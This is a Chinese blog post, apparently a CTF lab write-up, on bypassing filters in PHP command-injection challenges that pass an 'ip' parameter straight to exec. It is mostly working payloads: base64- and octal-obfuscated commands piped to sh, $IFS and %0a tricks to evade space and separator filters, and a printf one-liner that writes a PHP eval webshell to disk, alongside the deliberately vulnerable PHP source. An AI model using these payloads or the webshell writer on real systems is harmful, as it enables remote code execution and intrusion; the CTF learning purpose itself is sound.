当bash被过滤时考虑使用sh,sh的大部分脚本都可以在bash下运行:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

oct :

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")                  ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0             ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

3、反斜杠

ca\t fl\ag.txt

4、未定义的初始化变量 $x

cat$x flag.txt

5、连接符

ca''t fla''g.txt

6、其他命令代替

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

Payload:

127.0.0.1&ls
运行后可以看到一个php文件

127.0.0.1&more flag_286961182215696.php
运行后查看源码得到flag

其他payload:
127.0.0.1&ca\t flag_286961182215696.php
127.0.0.1&a=ca;b=t;$a$b flag_286961182215696.php
127.0.0.1&`echo 'Y2F0Cg==' | base64 -d` flag_286961182215696.php
127.0.0.1&ca''t flag_286961182215696.php

参考:RCE过滤绕过

过滤空格

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {//过滤空格
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

这题过滤了空格,在bash下,可以用以下字符代替空格

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS$1 等

Payload:

127.0.0.1&ls
运行后可以看到一个php文件

127.0.0.1&cat<flag_39942906417222.php
运行后查看源码得到flag

其他payload:
127.0.0.1&cat${IFS}flag_39942906417222.php
127.0.0.1&cat$IFS$9flag_39942906417222.php
127.0.0.1&cat$IFS$1flag_39942906417222.php

过滤目录分割符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {//过滤了\和/
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

这题过滤了目录分割符\和/

Payload:

127.0.0.1&ls

127.0.0.1&cd flag_is_here;ls

127.0.0.1&cd flag_is_here;cat flag_1763150014252.php  (运行后查看源码得到flag)

flag需要跳转到flag_is_here子文件夹里,而目录分隔符斜杠被过滤了,因此我们使用cd进入子文件夹
,而不是直接cat访问(127.0.0.1&cat flag_is_here/flag_1763150014252.php )

过滤运算符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

这里过滤掉了 |和& 运算符直接用 ; 代替即可

Payload:

127.0.0.1;ls
运行后可以看到一个php文件

127.0.0.1;cat flag_212361855227103.php
运行后查看源码得到flag

综合过滤练习

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
if ($res) {
    print_r($res);// 打印结果
}
show_source(__FILE__);
?>

这题过滤了|、&、;、空格、/、cat、flag、ctfhub,就是前面几个题的综合版

空格可以用${IFS},cat可以用more,flag可以用正则f***,命令连接符可以用%0a【注意:因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码】

Payload:【这题一定要直接输在url中】

127.0.0.1%0als    
运行后可以看到一个关于flag的文件夹

127.0.0.1%0acd${IFS}f***_is_here%0als
运行后可以看到一个关于flag的php文件

127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_77141347632226.php
运行后查看源码得到flag

赞助💰

如果你觉得对你有帮助,你可以请我喝一杯冰可乐!嘻嘻🤭

支付宝支付 微信支付

文章作者: 简文涛
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 简文涛 !
评论-----昵称和邮箱必填,网址选填
 上一篇
Cobalt Strike 学习记录 Cobalt Strike 学习记录
Cobalt Strike(简称“CS”)是一款团队作战渗透测试神器,分为客户端和服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成
2020-07-26
下一篇 
Linux文本处理三剑客 Linux文本处理三剑客
awk、sed、grep是linux操作文本的三大利器,合称文本三剑客。也是必须掌握的linux命令之一。
2020-06-09
  目录